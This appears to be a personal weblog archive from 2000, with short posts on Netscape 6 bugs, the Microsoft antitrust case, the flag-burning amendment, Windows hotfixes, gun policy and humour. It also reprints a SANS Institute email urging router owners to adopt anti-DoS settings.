I get about a month off between graduation and residency, and I’m trying to decide where to go for a nice little vacation. A great idea hit me today — why don’t I go to Cuba? And then, just beforehand, I could go down to Florida, pose as a Cuban national, visit Elian, hide him in my luggage, bring him back to Cuba myself, and end this damn saga. Think it’d work?

Oh, this makes me very happy: the Supreme Court is opening their own website starting next week (April 17th). It will provide same-day access to decisions, as well as schedules and the argument calendar. The new site will live at http://www.supremecourtus.gov/; right now, it’s password-protected.

I agree with Jim Warren — the fact that GOP.gov, an amazingly partisan website, has a .gov address is very disturbing. The justification posted by Richard Diamond (one of Dick Armey’s lapdogs) completely misses the point — it’s not that the House Republican Conference doesn’t deserve the .gov designation, it’s that what the HRC has chosed to do with that designation is repugnant, misleading, and a terrible precedent to set. (I started a thread on this at MetaFilter.)

Also at MetaFilter, plinth is trying to mock Microsoft with a mathematically-challenged dialog box, but conveniently neglects to mention that said dialog box is from Netscape Navigator, not a Microsoft product. Does he really believe that Microsoft operating systems are able to check all code that runs under them for math errors?

Apparently, since the new year began, the various Linux stocks tracked by Linux Weekly News have taken a beating. The press covered the ascent of these companies; I haven’t read as much about their slow fall.

Funny — almost all of the people who wrote into Macintouch about their experience with Netscape 6 PR1 have the same opinions that I do… slow, buggy, and terrible UI. And one person documented the same experience I had when trying to submit feedback to them via their own web form — server error, contact the sysadmin, have a nice day.

Another funny — Western Civ’s page purporting to describe the CSS support in Netscape 6 claims that the entirety of CSS1 is “well-supported,” when that’s just not the case. Granted, that may be the goal of NS6, but it’s not there yet. (View my site in both IE5 and NS6, and you’ll see the differences.)

Microsoft has identified a memory leak in the DNS server running on Windows 2000; if you want the fix, you have to contact them as outlined in the tech note.

Now the pretty weather is back. I just don’t get it.

Today is a cool day. I get to fill out all of the papers for my appointment onto the graduate staff of Columbia’s hospital — it’s like I’m becoming an adult or something. I’m still going to reflexively be looking over my shoulder whenever someone in the hospital asks for a doctor, though…

A slight Freudian slip…

Whoa — today’s Suck rocks. It’s a rant against the move towards skinnable applications (WinAmp, Mozilla/Netscape 6, ICQ), arguing that they tend to make an interface much worse. (I didn’t realize that all of the major skinnable applications are from the same company until just now.)

I needed to get in touch with a company today that has made a point of not having their phone number on their website, and hasn’t responded to any of my email for a week. (I truly don’t like doing business with companies like this.) Of course, they have a domain name, and doing a whois on that domain name gave up their phone number. Too bad for them; at least the customer support agent with whom I spoke was pleasant and helpful.

Articles like this — Why Doctors Hate the Internet — bother me immensely. A refrain I hear throughout the hospital, echoed in this article, is that many physicians resent patients who come in armed with information from the web; they feel that it’s a waste of their time to have to address the patients’ concerns, and that a lot of what patients bring in is worthless or quackery. Why don’t doctors see this as a good time to actually impart good information upon patients? If doctors stop listening, and stop responding to patients’ questions about the information that they get out there, then patients are going to stop asking, and we’ll lose the ability to actually help them learn what information can be trusted and what can’t.

I never ever ever ever thought that I’d see a pro-anorexia website. I cannot put into words how terrible this is. No joke, I bet I have nightmares about this for weeks.

If I’ve told you once, I’ve told you a million times: never compete with an ostrich during mating season.

My two latest toys: an Axis 2100 web camera and the LCD1621 liquid-crystal display. (Not together, mind you — different projects.)

Yes, it’s been a very mild winter. Yes, it’s April now. Yes, it’s snowing torrentially outside right now. I wish I knew who was responsible for this…

Beautiful.

Because it’s where everyone’s pointing to today, Fray’s topic o’ the day is what was the stupidest thing you did as a kid?

Continuing on the secure shell topic from a couple days ago, I found an awesome Java SSH client, MindTerm, that I highly recommend. It’s free (GPL’ed), and it runs just as a standard client… but it also can run as an applet in a web page, which is super-convenient.

Sleeping in, and waking up to Walter Wade’s radio show Filet of Soul, rocks…. (And now, I’ve got Dan_of_BrainLog addicted too… my plan for world domination is just beginning.)

If you sign a contract with your cable modem provider agreeing to not run any servers, then you can’t complain when they tell you to stop running Napster, or gripe that they are sweeping machines to find out if they are running servers.

How very Footloose this is.

Classic: “Turkey’s oil wrestlers — burly men who cover themselves in olive oil and grapple with each other wearing leather trousers — are trying to stop a group of homosexuals coming to watch.” Later in the article: “The wrestlers, their muscles rippling in olive oil under the hot sun, try to pin each other to the ground. Putting a hand down the opponent’s trousers to get a better grip is a common tactic.”

This is exactly why my copy of The Sims is sitting unplayed right now — I’m terrified of how addicted I’ll become. It just sits there, whimpering at me, saying “play me, play me!”

Living up to my webring membership, another link from someone else: Jess brings us The Museum of Questionable Medical Devices. I had heard about X-ray shoe fitting devices, but never seen one

Wow, a couple of people have way too much time on their hands. (Pretty funny, though.)

Very cool technology implementation, courtesy of Eric Soroos: XML-RPC over SMTP. When XML-RPC was introduced, I didn’t think much of it; I can’t remember when my awakening happened, but I now have a few apps based around it, and would have had to jump through major hoops without it.

Hey, the font sizes on CNN are back to normal. But, now I’m very happy doing my daily news browsing at MSNBC; CNN pretty much lost me when they didn’t respond to any of the font size complaints.

one of the most rewarding experiences i had was introducing some kids to the reality of ‘jump cuts’ in video. i interviewed one of them talking about his friend; i then cut in myself pretending to interview him about what he thought about adolf hitler. “oh, he’s a DOOD, man. he RULES!” you get the idea. youngsters form their opinions based on first impressions, and what they SEE. none of them ever looked at a barbara walters or 20/20 interview the same again.

altering reality is a dangerous game, one that will cost us as a society. look at how that kid killed his brother by trying WWF wrestling moves on him.

fake must be billed as fake; and even then, children may take it as reality … i say this, having sal ivone (of the weekly world news) as an acquaintance … i disagree with him greatly on the function of that media monstrosity.

I apologize to everyone (Dan, Ben, Matt) who posted in the discussion group and never got any reply from me; I moved all my mail accounts to a new server over the past two weeks, and it turns out that I never changed the address of the mail server in Frontier. So all the notifications that get sent out when there’s a new posting have been going into the bit bucket. All fixed now.

Dan brought me to an article I never read, but should have: Photography in the Age of Falsification. Anyone who works with me knows how much I dislike this, even when my own magazine does it. It’s just dishonest, no matter what the intention.

I decided to try out Secure Shell (SSH) today — I downloaded OpenSSH, and it compiled and installed without any problems at all, which is a great thing in Linux-world. One turn-off, though: the catty argument that the OpenSSH people have started with the person who registered openssh.org. They (the OpenSSH) people want everyone to have a kneejerk reaction against the guy as a domain squatter (they even tried to manipulate people with a Slashdot “advisory” full of hysterical security warnings), but as is always the case, the story is much more complicated than that. Actually, Alex de Joode (the openssh.org owner) has bent over backwards to try to resolve the whole non-issue, to no avail.

Holy cow, Jenni Ringley has some fans. The five picture sets that she sold on eBay yesterday brought in $3,010.23; her bed is currently at $2,660.

Yeah, I know that given that this site is called OS Opinion I shouldn’t expect any broad sweeping statements of inclusion, but I have little tolerance for people who believe that their way is the only way. Clearly, this guy hasn’t put nearly as much time into a GUI environment as he has his command-line one; if he had, then he’d realize how silly his configuration-of-a-web-server example is.

I pretty much agree with the sentiments expressed by Tom Watson in his latest column, Justice Department Saves the Internet, Film at 11:

The Microsoft suit is significant for one, and only one reason (no, Scott McNealy’s hypocrisy doesn’t count) — it has permanently created a Federal presence in the development of networked software in the United States. And that means, of course, lots of lawyers getting lots of hourly fees to litigate in an area they clearly don’t understand.

Dubya attempts to be an environmentalist. How pathetic; I hope that America doesn’t close its eyes to what an environmental disaster Dubya’s home state is, and how instrumental he has been in making it so.

A wannabe orthopedic surgeon is suing Nike for $30 million because she tripped and hurt her wrist. Damn, is anyone responsible for their own actions anymore?

CBS took a ratings bath on the NCAA Finals. Serves ‘em right, with the way that they treated the rest of the media in Indianapolis and with the fact that they were willing to pay $6 billion for exclusive rights to the tournament.

Someone in L.A., please go make sure that Tracy is still alive…

The audacity: ABC sent Leonardo DeCaprio to conduct a news interview with President Clinton. ABC is denying that it was intended to be a legit sit-down interview, but apparently, the original request from ABC tells a different story. And to add insult to injury, ABC is now claiming that the interview was “on spec” (meaning that they would decide later whether or not to use any or all of it), something that understandably just isn’t done when the President is involved.

An interesting page on homebrewed SDSL (from Dan_of_BrainLog).

I don’t know why I’m such a glutton for punishment. I used Netscape 6 again today, and went to a website that required me to log in (standard HTTP authentication, with the dialog box that asks for your username and password). The tab order in the dialog box is all screwed up — it takes five tabs to get from the username to field to the password field. I decided to report this on their Problem Report page, and got the same Server Error as I got when I tried to report a problem yesterday. So then, I went to the Netscape 6 Suggestions page and suggested that they fix the Problem Report page — and got the exact same error. I don’t know how else to read this except that they are clearly not serious about improving this browser.

Cool cool cool cool: J-Track 3D, a Java applet that shows real-time 3D satellite information.

Great interchange from the weblog chat last night:

<Dan_of_BrainLog> Surfing = blogging if you occasionally put things in a text file to blog.
<Dan_of_BrainLog> It’s just wasted surfing if you’re not taking notes for your blog.
<iscavenger> Oh, man, that’s sad but true.

Another frown for Netscape 6: Melty’s draggable pals don’t work. Double frown.

Once again, it’s BlogIRC time. IRC server irc.skunkworks.cx, port 6667, channel #blogirc.

Should’ve heeded my own implicit warning from yesterday. I just downloaded and installed Netscape 6 Preview 1, clicked on the Edit menu, selected “Preferences…”, clicked on the “Fonts” selector, and then before the panel had appeared, I clicked on the “Appearance” selector. The next thing I saw:

netscape 6 preview 1 crash

I just tried to send this to Netscape as a problem report, and when I clicked on the submit button, I got “Server Error This server has encountered an internal error which prevents it from fulfilling your request. The most likely cause is a misconfiguration. Please ask the administrator to look for messages in the server’s error log.” I give up; they can have their browser.

As expected, the CSS support is terribly wanting; look at the way that the navbar on the left of this page is rendered in IE or Opera 4.0, and then look at it in Netscape. (Opera also has problems, by the way.)

Michael Moore has a very well-written letter to Elian Gonzalez on his website; I found it via my referrers log despite the fact that it doesn’t link to me, and thus couldn’t have referred people to me. (Ed’s Weblog is also in my referrers log today, and also points to Michael Moore’s letter, so I can only assume that someone’s browser got confused somewhere between Ed and I.)

Dahlia Lithwick, in yesterday’s Breakfast Table:

The problem with our Internet society is that no one knows how to really objectify anyone properly anymore.

The cynic in me thinks that the reason that Judge Penfield Jackson wants to fast-track a Microsoft appeal directly to the Supreme Court is because last time one of his rulings on Microsoft went before the Appeals Court directly above him, he was unanimously overturned, the panel accusing Jackson of “a clear abuse of
discretion or an exercise of wholly non-existent discretion.”

MSNBC agrees with me:

Should Jackson decide to send the case to the Supreme Court, it could be viewed as a boon to the Justice Department and the 19 states that have sued Microsoft, because it would bypass the U.S. Court of Appeals in the District of Columbia. The appeals court in 1998 dealt the Justice Department a major defeat in an earlier, related Microsoft case.

Thank goodness that there are checks in place to prevent Jackson from using this purely to avoid being put in his place by the D.C. Court of Appeals; the Solicitor General, the Attorney General, and possibly, the President all need to approve the fast-track schedule, and the Supreme Court needs to agree to hear the case (rather than remand it back to the Appeals Court).

Speaking of being overturned, source code was ruled to be speech protected by the First Amendment yesterday, and the matter was remanded back to the U.S. District Judge who had ruled otherwise two years ago. (I wonder what it feels like as a judge when the court above you sends a matter back to you, telling you that you were wrong. Sort of like being yelled at by your boss in front of co-workers, I’d bet.)

Dahlia Lithwick sighting! She and Joel Stein (Time writer) are doing Slate’s Breakfast Table this week (meaning that we can look forward to postings throughout each day of the week) and even when she’s not writing about the Supreme Court, she is in her usual hilarious form.

An interesting concept: Personable, a Workspot-like service that gives you terminal server access to a Windows 2000 desktop. Unlike Workspot, though, it costs money, which will be its death knell; it will cost people less to just buy their own copies of Win2K.

I’m just sick to death of the whole Microsoft antitrust lawsuit. I abhor the notion that a judge can control whether or not Microsoft adds features to its operating systems; the addition of legit HTML widgets and controls to Windows has made my life easier, as both a programmer and an end-user.

One thing that really chaps my hide is Penfield Jackson’s finding that Internet Explorer is not now the “best of breed” web browser, “nor is it likely to be so at any time in the immediate future.” This is definitely untrue today, and probably was untrue when he and his minions engaged in discovery, and the notion that there’s some other magical browser out there that performs better or is more stable than IE is just plain ludicrous. (And if I have to restart my computer because of Netscape crashing one more friggin’ time, I’m going to start sending Penfield screen grabs of my GPF errors.)

This week, Netscape is going to announce the beta of Communicator 6, based on a Mozilla engine that Mozilla’s own developers don’t consider to be in beta yet. This means that there are some huge features that aren’t finished yet (CSS rendering being one of them), and what bothers me the most is that, with Communicator 6 in the public’s hands, I’m going to now have to start developing around its missing and broken features, code which will have to be ripped out once they get around to finishing everything.

Hee hee — Netscape “upgraded” their mail system, shutting out nearly half a million users. Apparently, they decided to send out the email about the upgrade the same day that they started the upgrade, which could very well be one of the most moronic systems administration moves I have ever heard of. (Wow — I didn’t intend for the first posts of the day to all be related to Netscape.)

Late start today — I flew back from Indianapolis early this morning, after waking up way late and having the kind of trip that you’d expect after you’ve woken up late. But I’m back in NYC, which always makes me smile.

I’m not sure which is worse — the fact that this pillow exists, or the fact that they have illustrated the home page with a young girl affectionately hugging the damn thing. (Found by Nancy, my newest online buddy.)

Early Saturday morning, I got an email from the SANS group, an alert about a virus that had been found in Houston and was both erasing system directories and calling 911 on modems. Despite the assurance in the alert that it was not an April Fool’s Day hoax, I shrugged it off (of course, I did a little research first, but didn’t see information in the places that I would have expected to, like the Houston local news sources, the AP wire, Symantec’s virus alert system). Now, though, Symantec does have info on the virus, and the FBI is asking people to be especially vigilant in wiping it out, since it does have the ability to swamp 911 call centers. So be vigilant, everyone!

Must…. see…. Star Wars in Flash!

Friggin’ classic.

I know I’ve said it before, but I love Dahlia Lithwick, the Supreme Court reporter for Slate. Her legal analysis is great, but more importantly, by perfectly describing the back-and-forth that goes on during the few hours of oral argument a week, she reminds me that the Justices are humans, too.

More proof that anyone can post anything on the Web, and inevitably, someone will believe them (as if my site isn’t enough proof!).

A couple of new or updated Windows 2000 hotfixes have been released in the past few days, get ‘em while they’re hot:

  • Index Server (updated version of the “Malformed Hit-Highlighting Argument” hotfix, to deal with another problem identified by David Litchfield of Cerebus)
  • TCP/IP print server (potential denial-of-service attack against the add-on lpd server)
  • Internet Information Services (vague vulnerability which would allow source of ASP files to be seen)

I also seem to have missed the following one:

A happy day to all my fellow Scripting News readers… and yes, I too am trying to figure out what the mention on SN today means. A shrug of the shoulders, I guess…

This morning, on my way in to work, I wondered what April Fool’s would bring in the weblog community. With MetaFilter and the reciprocal Fairvue, I likes what I sees. (DanDot hurts my brain, though.)

Now that our offices have moved into cubicles, I really need to do this.

Today’s Astronomy Picture of the Day is the first TV image of Earth, returned from the first weather satellite (launched in 1960). Pretty neat.

Once again, Darwin was right.

Today’s word of the day: mananero.

I realllllly want this Simpsons chess set. (I found it while helping a friend find a nice Alice in Wonderland chess set; this is the one that we liked the most.)

Yesterday, I’m watching my TV, and a commercial comes on that looks like a public service announcement about domestic violence. Its essential points:

  • domestic violence causes a great deal of physical harm each year;
  • domestic violence kills people;
  • exposing your kids to domestic violence hurts them in many ways;
  • children in homes of people who engage in domestic violence are more domestic violence-prone themselves when they grow up.

Then, the commercial turns out to be for Philip Morris, trying to trumpet everything they’ve done to help victims of domestic violence. The problem? Replace “domestic violence” with “smoking” in all of the above points, and they all remain true, and are just as tragic. I really hope people aren’t this gullible… no matter what other good things they do, this is still a corporation which has, as one of its core businesses, the production and marketing of cancer.

A few days ago, someone posted on the NTBugTraq list about a problem they had found with Windows 2000’s new RunAs feature (which lets one user run apps as a different user, complete with the second user’s profile and environment), but I didn’t really understand it. Yesterday, Russ Cooper (the list admin) posted a good explanation of the problem, which looks to be troubling, not because it could be used for exploits (it wouldn’t be easy), but because of what it says about the possible underlying architecture of the new feature. There’s an additional explanation that hasn’t hit the archives of the list yet; I’ll point to it once it does.

The summary page of the Senate arguments and vote on the flag burning amendment is now complete; it’s a handy place to get the official text and PDF records of the debate.

My people are so inclusive, it makes me big-time proud.

Seen today at The Bradlands: “Putting the ‘we blo’ in ‘weblogs’ since 1998.” Classic.

Yet another reason to love the fair maiden Ariana:

George W. Bush scares the hell out of me. if he’s elected president, I will consider renouncing my citizenship and emigrating to England. …or the Republic of Cuervo Gold. ooo. there’s an idea.

Today brings us yet another example of someone who very well may have been dropped on his head as a small child: Dr. David Schweitzer. His website claims to show evidence that you can rearrange energy patterns in water by projecting thoughts into it; two examples of his alleged proof are here and here. I scoured his site to try to figure out what kind of doctor he is, to no avail; the fact that he could be a medical doctor, treating patients, scares the living daylights out of me.

Just in case you were concerned that she may not be getting enough recognition these days, Sheryl Crow was honored on the floor of the House of Representatives last week. (Actually, though, she wasn’t; the above link is an Extension of Remarks, which are remarks submitted to the Congressional Record for publication in that day’s transcript even though they weren’t made on the floor, and may in fact never have been spoken aloud.)

Yay! For at least another year, the amendment that would allow the U.S. government to make laws prohibiting flag burning is history.

Government Docs & Transcripts

The following documents are the official Congressional Record transcripts from the floor arguments regarding Senate Joint Resolution 14, a proposed amendment to the U.S. Constitution that would allow the government to make laws restricting the burning of the American flag.

  • Oral arguments on Monday, March 27, 2000: text / PDF
  • Amendments to S.J.R. 14, proposed on Monday, March 27, 2000: text / PDF
  • Oral arguments on Tuesday, March 28, 2000: text / PDF
  • Oral arguments on Tuesday, March 28, 2000 (continued): text / PDF
  • Oral arguments on Wednesday, March 29, 2000: text / PDF
  • Oral arguments on Wednesday, March 29, 2000 (continued): text / PDF
  • Oral arguments on Wednesday, March 29, 2000 (continued): text / PDF
  • Oral arguments on Wednesday, March 29, 2000 (continued): text / PDF
  • Oral arguments on Wednesday, March 29, 2000 (continued): text / PDF
  • Final vote on S.J.R. 14: official record

NOTE: the above links were no easy task; all of the GPO documents are stored on a WAIS server, and the links that you get off of their search page are temporary, and keyed to the state of your search. Luckily, the GPO provides a way to hack together permanent links into their database, but nothing is as easy as it seems.

Weblog Stories

Press Coverage

Yesterday, I received the following email from Alan Parker, of the SANS Institute. It is a plea for network admins to tighten up their routers; routers with lax security and network permissions are the prime candidates responsible for many of the denial-of-service attacks that we’ve all read about in the news lately.

If you’re a network admin, or have responsibility for even one single router (this includes cable and DSL “modems”, which are actually routers), please read this. If you don’t have the capability to configure your own cable or DSL modem, call your provider and talk to them about this.

Only by making these security precautions standard practice will we make these DOS attacks go away.

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(peer crosschecked as: wodc7mr3.ffx.ops.us.uu.net [192.48.96.19])

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for <mail02675@vpop0-alterdial.uu.net>; Wed, 29 Mar 2000 06:25:37 GMT

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for <jlevine@si.timeinc.com>; Wed, 29 Mar 2000 06:25:36 GMT

Received: by server1.SANS.ORG (rbkq) id QDL93241

for jlevine@si.timeinc.com; Tue, 28 Mar 2000 23:23:57 -0700 (MST)

Date: Tue, 28 Mar 2000 23:23:57 -0700 (MST)

Message-Id: <200003285226.QDL93241@server1.SANS.ORG>

From: The SANS Institute <sans@sans.org>

Subject: SANS Flash: Urgent Request For Help In Stopping DOS Attacks

Precedence: bulk

Errors-To: bounce@sans.org

To: Jason Levine (SD442238) <jlevine@si.timeinc.com>

X-UIDL: 8f015324c05b74c7454a646292daf198

Status: U

To: Jason Levine (SD442238)

From: Alan Paller, Research Director, The SANS Institute

This is an urgent request for your cooperation to slow down the wave of denial of service attacks?

As you may know, denial of service (DOS) attacks are virulent and still very dangerous. These are the attacks responsible for the many outages reported recently in the press and others that have been kept more secret. DOS attacks are a source of opportunities for extortion and a potential vehicle for nation-states or anyone else to cause outages in the computer systems used by business, government, and academia. DOS attacks, in a nutshell, comprise a world-wide scourge that has already been unleashed and continues to grow in sophistication and intensity.

One effective defense for these attacks is widely available and is neither expensive nor difficult to implement, but requires Internet-wide action; that’s why we’re writing this note to request your cooperation.

The defense involves straightforward settings on routers that stop key aspects of these attacks and, in doing that, reduce their threat substantially. These settings will not protect you from being attacked, but rather will stop any of the computers in your site from being used anonymously in attacking others. In other words, these settings help protect your systems from being unwitting assistants in DOS attacks, by eliminating the anonymity upon which such attacks rely. If everyone disables the vehicles for anonymity in these attacks, the attacks will be mitigated or may cease entirely for large parts of the net.

The simple steps can be found at the SANS website at the URL http://www.sans.org/dosstep/index.htm and will keep your site from contributing to the DOS threat. Tools will soon be publicly posted to determine which organizations have and have not protected their users and which ones have systems that still can be used as a threat to the rest of the community.

More than 100 organizations in the SANS community have tested the guidelines, which were drafted by Mark Krause of UUNET with help from security experts at most of the other major ISPs and at the MITRE organization. The testing has improved them enormously. (A huge thank-you goes to the people who did the testing.)

We hope you, too, will implement these guidelines and reduce the global threat of DOS attacks.

We also urge you to ask your business partners and universities and schools with which you work to implement these defenses. And if you use a cable modem or DSL connection, please urge your service provider to protect you as well.

As in all SANS projects, this is a community-wide initiative. If you can add to the guidelines to cover additional routers and systems, we welcome your participation.

Alan

Alan Paller

Director of Research

SANS Director of Research

sansro@sans.org

301-951-0102

Yay! For at least another year, the flag burning amendment is dead. Although, in all honesty, it angers me that 63 Senators don’t understand the idea of political speech. I’ve put together a short page with the official Senate transcripts, as well as a few links to press coverage of the results, and tomorrow, it will have a link to how the Senators voted.

Now let’s really talk about patents that shouldn’t ever be granted. Talk about prior art… how about the thousands of people who have had this gene intricately woven into their chromosomes for their entire friggin’ lives. Granting patents on genes is just plain wrong.

MSNBC has an article about the silliness of business models like Kozmo.Com, but the real reason it’s worth reading is this introductory paragraph:

We went to see a movie the other night called “Mission to Mars.” It was about some kind of mean, tornado-type thing that is controlled by a Martian woman in an Oscar de la Renta evening gown, who lives inside a giant face of herself on Mars and captures an astronaut and sucks him up inside her space ship through a long straw and then keeps him in a tank of water where he learns to breathe without gills.

Makes you want to rush out and see Mission To Mars, don’t it?

Yesterday, I got an email pleading with all network admins to help stop denial-of-service attacks by implementing certain security measures on their routers. If you are in charge of even a single router, or have a cable or DSL modem (which are routers, not modems, but that’s a whole separate issue), then you really should read this and do what you need to do to help the Internet community prevent these annoying DOS attacks.

Play ball!

Via Dan comes FNWire Interviews Jeeves. Awesome — they submit interview questions to Ask Jeeves, and try to make some sense out of the answers.

Since I’m reasonably certain that those Referrer Log entries from Carpe Diem come from none other than David Theige, I hereby publicly plead: keep up your log, David! Your readers miss you!

After much searching, I found the file that you can download, uncompress, and write to CD to allow you to install the Office 2000 Service Release 1 on many computers without having to do them all over the Internet. Download O2KSR1DL.EXE (from the Microsoft Office Resource Kit Toolbox), and run it; this will extract the files to your hard disk. Write those files to a CD, and you’re in business.

I’ve added a new bookmark — Nubbin. Great writing style, clean design, and keeps my interest — all the things that scream “bookmark me!”. (It probably doesn’t hurt that Ariana’s cute, though…)

Jonesboro, Arkansas shootings

“Allowing teachers and other law-abiding adults to carry concealed handguns in schools would not only make it easier to stop shootings in progress, it could also help deter shootings from ever occurring.”

“The Real Lesson of the School Shootings,” Wall Street Journal, 3/27/1998.

Airlines and Smoking

“To force airlines to ban smoking on all flights thus makes smokers worse off by a greater amount than it benefits non-smokers.”

“Regulating Indoor Air Quality: The Economist’s View,” The EPA Journal, October-December, 1993.

Police Affirmative Action and Crime

“Does a Helping Hand Put Others At Risk? Affirmative Action, Police Departments, and Crime,” study by John Lott, published 7/25/1997.

Not that it can make the hurt go away, Brig, but I miss you too. (Oh, wait, she probably wasn’t talking about me.)

Prompted by the flurry of mentions on webloglog, I buckled and took the Suave-O-Meter Test. 87 out of 100. Of course, this is entirely meaningless, seeing as it doesn’t change the fact that I’m single. (Or, as we say here in New York, that and a buck and a half will get me a ride on the subway.)

This week’s Bushism of the Week, too long to quote here but worth reading just to see how this man’s mind works, makes me wonder if the Washington Post didn’t mistakenly interview the elder Bush instead…

I agree — opening the 2000 Major League Baseball season in another country is wrong. (I also think it’s pretty audacious for MLB to do this in Japan, a country which has a pretty strong baseball tradition of their own, and don’t need ours imposed on them.)

Gawrsh, I stop paying attention to the NEAR Shoemaker asteroid spacecraft for a few weeks, and they release an amazing flyover movie. (You can get higher-quality QuickTime or MPEG versions if you want, and a second flyover, too.)

Wendell has published Prerequisites to Being a Modern Conservative Republican, a great rebuttal to Mike’s Prerequisites to Being a Modern Liberal Democrat.

Mike, at least for me, it’s about where I subjectively feel safer, not how stats tell me I should feel safer. And it’s tough for me to accept any conclusions on gun safety from John Lott, a man who: in the wake of the Jonesboro, Arkansas shootings, suggested arming teachers with concealed weapons is the answer; has said “To force airlines to ban smoking on all flights thus makes smokers worse off by a greater amount than it benefits non-smokers”; and has attacked affirmative action in the police force because of his conclusion that it increases crime rates in their precincts. (Since you want them, here are the references on those.)

For anyone who’s interested in good analyses of the John Lott study which concluded that allowing citizens to carry guns lowers crime rates, I’d recommend reading “Do Right-to-Carry Laws Deter Violent Crime?” by Dan Black and Daniel Nagin in the January 1998 issue of Journal of Legal Studies. For a quicker, and more easily accessible read, check out Tim Lambert’s “Do more guns cause less crime?”

Yet another sad example of what happens when you don’t talk to your kids about the danger of drugs.

The link to the permanent page for each day has caught on in the Manila world; now it’s available on all ETP sites, and apparently, it’ll be available in the Manila root update process soon. (As a reminder, the little page icon at the far right of each day’s header bar on this page is a link to that day’s permanent page, for archiving or linking purposes.)

It never fails to infuriate me when I hear that my elected officials are presently considering yet another Constitutional amendment to prohibit flag desecration (as the Senate is doing today, with Senate Joint Resolution 14). What bothers me most is their belief that the flag doesn’t represent the very sentiment that they are trying to ban — the ability to make a political statement, including burning one’s own property, without fear of government reprisal. Personally, the constant waste of this country’s time with efforts like this are far more offensive than someone burning a flag.

You will be able to see your Senator’s vote on the matter at the Senate website.

Tracy is such a tease — first, we could see the right side; now, we’ve got the left upper quarter filled in, too. What do we have to do to get it all?

Talk about nasty on-the-job hazards

In what can only be described as hallicinogen-induced, there’s Paint with Meat.

In all honesty, I cannot believe that Mike is suggesting that people carrying guns on the streets of New York is the answer. Honestly, I feel so much safer here in NYC than I ever did living in San Antonio, Texas (a state in which it is not only legal to carry guns, it’s legal to carry concealed guns).

The two guys who cracked the CyberPatrol encryption scheme (and thusly obtained the list of websites banned by the app) have published an analysis of the cryptographic attack, which is a very interesting read for the technical details, if not for the examples they give of websites that are filtered for no, or for highly political, reasons. (Example: Peacefire, the anti-censorware website, is blocked in every category by CyberPatrol, meaning that it is classified as each of the following: Violence/Profanity, Partial Nudity, Full Nudity, Sexual Acts/Text, Gross Depictions/Text, Intolerance, Satanic or Cult, Drugs/Drug Culture, Militant/Extremist, Sex Education, Questionable/Illegal & Gambling, Alcohol & Tobacco.) Today, a federal judge in Boston is hearing arguments about the decryption app.

Wow, it seems like a rant day here. Right now, I’m on the phone listening to the hold music of Network Solutions. Of course, I’m lucky to be holding; the first dozen (no exaggeration) times I called today, I got a message saying that they were experiencing too many calls for me to even get to be on hold, and that I would have to call back later. This is a company that wanted us all to entrust them with the entire domain name system? They suck. The reason I’m calling? Because I have now submitted a change to one of our contacts three times, and each time we got a notice that the change had been completed, and each time the change never occurred. (Have I mentioned that they suck?)

Gawd, I spent nearly an hour tonight searching for Casey Marshall’s Java applet that displays links between weblogs (or at least those weblogs listed in Brig’s huge list). After finally finding it, I decided that the world needs a huge permanent searchable index of all of the known weblogs, and the links in the index need to point to pages which only have a single day’s posting on them.

Played with Pike a little yesterday and today, and it’s neat, especially given that I’m a Frontier user. But it seems to be working against the best part of Manila, namely that I can edit my entire site in a browser. With Pike, there’s another application involved; the thing about Manila that excites me the most is that I don’t have to have another app in the workflow. But I guess another thing I like about Manila is that I don’t have to use Pike; I can choose to if I want, but generally won’t.

I also found a problem with Pike — it (or, more specifically, the Pike code in Manila) generates URLs that use an IP address that the Manila server is not bound to. Oops.

Tune into MSNBC today to watch the Seattle Kingdome implode.

The notion of healthy people getting full-body CAT scans as part of their checkups is scary to me. Articles like this tend to focus on the people who have benefited from the practice, but leave out all of the people who have had false-positives, or the people with benign conditions that never needed to be diagnosed. And the cost to the already-overwhelmed insurance system is enormous.

I mentioned the other day that there was a rumor about the Academy not wanting to give the guy who found the missing Oscars tickets to the show; I am happy to report that it was, in fact, just a rumor. (He also gets $50,000 for his troubles!)

Tim Duncan, forward of my beloved San Antonio Spurs, took another step towards stardom yesterday with his first triple-double.

I blame Neale entirely for my overwhelming tiredness this morning — via his Sims contest, I was introduced to The Sims, and last night, I stayed up way too late playing. Ugh. I knew that my problems were just beginning when I realized in the shower this morning that all of my dreams last night were about how to better the lives of my little Sims family.

(On a tangentially-related note: is anyone else scared that Neale is anthropomorphizing his toothbrush — or shall I say Toothbrush — a little too much? Of course, won’t I be the one with egg on my face when Neale is found battered and unconscious, with firm bristle marks around his head and neck region and a large plug of toothpaste obstructing his airway…)

For those who need their coffee as much as I do: caffeine.com. I actually learned some interesting factoids from their FAQ — the old yarn about tea having more caffeine than coffee is generally false, Barq’s Root Beer adds caffeine in part for its bitterness, Mello Yello has quite a bit more caffeine in it than any drink in part named “mellow” should, and there’s no caffeine in Mountain Dew in Canada. (Roger Espinosa confirms that last part; the next question is why?)

I have never understood the mentality that drives riots after winning important games in sports tournaments. Purdue students needed to be gassed last night after beating Gonzaga; Chicago has been notorious over the past decade for riots after the Bulls won their NBA Championships. Strange way to celebrate.

In what must have been fun work, scientists have proven why double soap bubbles form the shape that they do.

Did you all know that Dubya supports an amendment to the Texan concealed weapons permit laws that would allow people to carry their weapons inside of churches?

Something that I hadn’t seen reported — the hostages in the Maryland standoff that ended late two nights ago managed to drug their captor with Xanax, escaped when he was knocked out; the police were able to storm in while he was still out. That’s pretty great.

Funny synergy — I saw Erin Brockovich last night (great movie), and in a scene in which the lawyer had to convince all of the town residents that aribtration was the best way to handle the case, he was miserably failing until he got across to them that a jury trial could take decades before they saw any money. I then get home, and read that the U.S. government settled a 23-year-old sex discrimination lawsuit yesterday for $508 million. It’s disgusting to me that the U.S. attorney on the case calls this “and equitable and fair resolution to the matter” — I’m willing to bet that, for the 1,100 women who sued, it’s somewhere around 23 years too late.

Another financial settlement that’s a little late in coming.

Part of me wants an eHolster, much much more of me knows that if I looked anything like the eDork in the lower right corner of the home page, I’d be mocked senseless.

I really hope it’s just gossip that the Academy won’t give a pair of tickets to the Oscars to the man who found the stolen awards. If it is true, then that’s just plain sad.

Remember the flap when APBNews.com asked for all of the financial disclosure forms from the Federal judiciary, and was denied? Well, cooler heads have (finally) prevailed; the Judicial Conference of the United States reversed the decision late last week.

Beaver College has a problem. Of course, I just did a little test, and this article is wildly misleading. It’s a no-brainer that searching for “beaver” returns a lot of porn, but searching for “beaver college” gives you exactly what you want on most search engines — here are links to that search on the biggies: Infoseek, AltaVista, Lycos, Yahoo, Netscape, Excite, GoTo.com, Snap.

